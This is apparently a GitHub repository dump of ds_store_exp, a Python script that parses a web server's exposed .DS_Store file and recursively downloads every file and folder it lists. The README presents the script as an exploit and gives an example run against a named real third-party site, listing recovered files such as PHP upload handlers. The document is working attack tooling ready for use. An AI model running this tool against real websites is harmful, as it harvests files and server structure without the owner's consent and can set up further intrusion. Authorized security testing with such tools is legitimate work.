├── .gitignore ├── README.md └── ds_store_exp.py /.gitignore: -------------------------------------------------------------------------------- 1 | *.py[cod] 2 | .idea/* -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # ds\_store\_exp # 2 | 3 | A **`.DS_Store`** file disclosure exploit. 4 | 5 | It parses .DS_Store file and downloads files recursively. 6 | 7 | 这是一个 .DS\_Store 文件泄漏利用脚本,它解析.DS_Store文件并递归地下载文件到本地。 8 | 9 | Usage: python ds_store_exp.py http://www.example.com/.DS_Store 10 | 11 | ## Install ## 12 | 13 | pip install ds-store requests 14 | 15 | ## Example ## 16 | 17 | ds_store_exp.py http://hd.zj.qq.com/themes/galaxyw/.DS_Store 18 | 19 | hd.zj.qq.com/ 20 | └── themes 21 | └── galaxyw 22 | ├── app 23 | │   └── css 24 | │   └── style.min.css 25 | ├── cityData.min.js 26 | ├── images 27 | │   └── img 28 | │   ├── bg-hd.png 29 | │   ├── bg-item-activity.png 30 | │   ├── bg-masker-pop.png 31 | │   ├── btn-bm.png 32 | │   ├── btn-login-qq.png 33 | │   ├── btn-login-wx.png 34 | │   ├── ico-add-pic.png 35 | │   ├── ico-address.png 36 | │   ├── ico-bm.png 37 | │   ├── ico-duration-time.png 38 | │   ├── ico-pop-close.png 39 | │   ├── ico-right-top-delete.png 40 | │   ├── page-login-hd.png 41 | │   ├── pic-masker.png 42 | │   └── ticket-selected.png 43 | └── member 44 | ├── assets 45 | │   ├── css 46 | │   │   ├── ace-reset.css 47 | │   │   └── antd.css 48 | │   └── lib 49 | │   ├── cityData.min.js 50 | │   └── ueditor 51 | │   ├── index.html 52 | │   ├── lang 53 | │   │   └── zh-cn 54 | │   │   ├── images 55 | │   │   │   ├── copy.png 56 | │   │   │   ├── localimage.png 57 | │   │   │   ├── music.png 58 | │   │   │   └── upload.png 59 | │   │   └── zh-cn.js 60 | │   ├── php 61 | │   │   ├── action_crawler.php 62 | │   │   ├── action_list.php 63 | │   │   ├── action_upload.php 64 | │   │   ├── config.json 65 | │   │   ├── controller.php 66 | │   │   └── Uploader.class.php 67 | │   ├── ueditor.all.js 68 | │   ├── ueditor.all.min.js 69 | │   ├── ueditor.config.js 70 | │   ├── ueditor.parse.js 71 | │   └── ueditor.parse.min.js 72 | └── static 73 | ├── css 74 | │   └── page.css 75 | ├── img 76 | │   ├── bg-table-title.png 77 | │   ├── bg-tab-say.png 78 | │   ├── ico-black-disabled.png 79 | │   ├── ico-black-enabled.png 80 | │   ├── ico-coorption-person.png 81 | │   ├── ico-miss-person.png 82 | │   ├── ico-mr-person.png 83 | │   ├── ico-white-disabled.png 84 | │   └── ico-white-enabled.png 85 | └── scripts 86 | ├── js 87 | └── lib 88 | └── jquery.min.js 89 | 90 | 21 directories, 48 files -------------------------------------------------------------------------------- /ds_store_exp.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- encoding: utf-8 -*- 3 | # LiJieJie my[at]lijiejie.com http://www.lijiejie.com 4 | 5 | import sys 6 | try: 7 | from urllib.parse import urlparse 8 | except Exception as e: 9 | from urlparse import urlparse 10 | import os 11 | import queue 12 | import threading 13 | from io import BytesIO 14 | from ds_store import DSStore 15 | import requests 16 | 17 | 18 | class Scanner(object): 19 | def __init__(self, start_url): 20 | self.queue = queue.Queue() 21 | self.queue.put(start_url) 22 | self.processed_url = set() 23 | self.lock = threading.Lock() 24 | self.working_thread = 0 25 | self.dest_dir = os.path.abspath('.') 26 | 27 | def is_valid_name(self, entry_name): 28 | if entry_name.find('..') >= 0 or \ 29 | entry_name.startswith('/') or \ 30 | entry_name.startswith('\\') or \ 31 | not os.path.abspath(entry_name).startswith(self.dest_dir): 32 | try: 33 | print('[ERROR] Invalid entry name: %s' % entry_name) 34 | except Exception as e: 35 | pass 36 | return False 37 | return True 38 | 39 | def process(self): 40 | while True: 41 | try: 42 | url = self.queue.get(timeout=2.0) 43 | self.lock.acquire() 44 | self.working_thread += 1 45 | self.lock.release() 46 | except Exception as e: 47 | if self.working_thread == 0: 48 | break 49 | else: 50 | continue 51 | try: 52 | if url in self.processed_url: 53 | continue 54 | else: 55 | self.processed_url.add(url) 56 | base_url = url.rstrip('.DS_Store') 57 | if not url.lower().startswith('http'): 58 | url = 'http://%s' % url 59 | schema, netloc, path, _, _, _ = urlparse(url, 'http') 60 | try: 61 | response = requests.get(url, allow_redirects=False) 62 | except Exception as e: 63 | self.lock.acquire() 64 | print('[ERROR] %s' % str(e)) 65 | self.lock.release() 66 | continue 67 | 68 | if response.status_code == 200: 69 | folder_name = netloc.replace(':', '_') + '/'.join(path.split('/')[:-1]) 70 | if not os.path.exists(folder_name): 71 | os.makedirs(folder_name) 72 | with open(netloc.replace(':', '_') + path, 'wb') as outFile: 73 | self.lock.acquire() 74 | print('[%s] %s' % (response.status_code, url)) 75 | self.lock.release() 76 | outFile.write(response.content) 77 | if url.endswith('.DS_Store'): 78 | ds_store_file = BytesIO() 79 | ds_store_file.write(response.content) 80 | d = DSStore.open(ds_store_file) 81 | 82 | dirs_files = set() 83 | for x in d._traverse(None): 84 | if self.is_valid_name(x.filename): 85 | dirs_files.add(x.filename) 86 | for name in dirs_files: 87 | if name != '.': 88 | self.queue.put(base_url + name) 89 | # try on child folder 90 | # skip xxx.png 91 | if len(name) <= 4 or name[-4] != '.': 92 | self.queue.put(base_url + name + '/.DS_Store') 93 | d.close() 94 | except Exception as e: 95 | self.lock.acquire() 96 | print('[ERROR] %s' % str(e)) 97 | self.lock.release() 98 | finally: 99 | self.working_thread -= 1 100 | 101 | def scan(self): 102 | all_threads = [] 103 | for i in range(10): 104 | t = threading.Thread(target=self.process) 105 | all_threads.append(t) 106 | t.start() 107 | 108 | 109 | if __name__ == '__main__': 110 | if len(sys.argv) == 1: 111 | print('A .DS_Store file disclosure exploit.') 112 | print('It parses .DS_Store and downloads file recursively.') 113 | print() 114 | print('Usage: python ds_store_exp.py https://www.example.com/.DS_Store') 115 | sys.exit(0) 116 | s = Scanner(sys.argv[1]) 117 | s.scan() 118 | --------------------------------------------------------------------------------